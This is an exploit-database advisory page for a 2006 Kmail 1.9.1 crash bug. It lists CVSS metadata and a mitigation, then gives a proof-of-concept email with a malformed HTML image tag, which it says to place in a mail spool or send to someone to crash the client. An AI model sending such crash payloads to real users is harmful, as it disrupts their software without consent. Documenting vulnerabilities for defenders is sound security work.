Kmail - exploit.company

vendor:

Kmail

by:

nnp [at] silenthack.co.uk

7,5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Kmail

Affected Version From: 1.9.1

Affected Version To: 1.9.1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Kmail <= 1.9.1 Crash Vulnerability

Kmail <= 1.9.1 (latest) suffers from a crash when trying to parse an incorrectly formatted <img> tag. HTML parsing must be enabled for this. This can be done by going to Settings -> Configure Kmail ->Security -> and tick Prefer HTML to Plain Text. Copy the following into your local /var/spool/mail/`whoami` or send a mail containing the HTML part to cause a crash.

Mitigation:

Disable HTML parsing in Kmail.

Source

Exploit-DB raw data:

nnp [at] silenthack.co.uk
http://silenthack.co.uk

Kmail <= 1.9.1 (latest) suffers from a crash when trying to parse an
incorrectly formatted <img> tag. HTML parsing must be enabled for
this. This can be done by going to  Settings -> Configure Kmail
->Security -> and tick Prefer HTML to Plain Text.

Copy the following into your local /var/spool/mail/`whoami` or send a
mail containing the HTML part to cause a crash.

#-#-#-#-#-#-#-#-#-#-#-#-#-#-#

return-Path: <nnp@torvalds>
X-Original-To: nnp
Delivered-To: nnp@torvalds
Received: by torvalds (Postfix, from userid 1000)
       id 2341B7CC25; Sun, 27 Aug 2006 01:03:35 +0100 (IST)
To: nnp@torvalds
Message-Id: <20060827000335.2341B7CC25@torvalds>
Date: Sun, 27 Aug 2006 01:03:35 +0100 (IST)
Content-Type: text/html
From: nnp@torvalds (nnp)
Status: RO
X-Status: UC
X-KMail-EncryptionState:
X-KMail-SignatureState:
X-KMail-MDN-Sent:


<html>
<IMG SRC=file:"" />
</html>

#-#-#-#-#-#-#-#-#-#-#-#-#-#-#

# milw0rm.com [2006-10-11]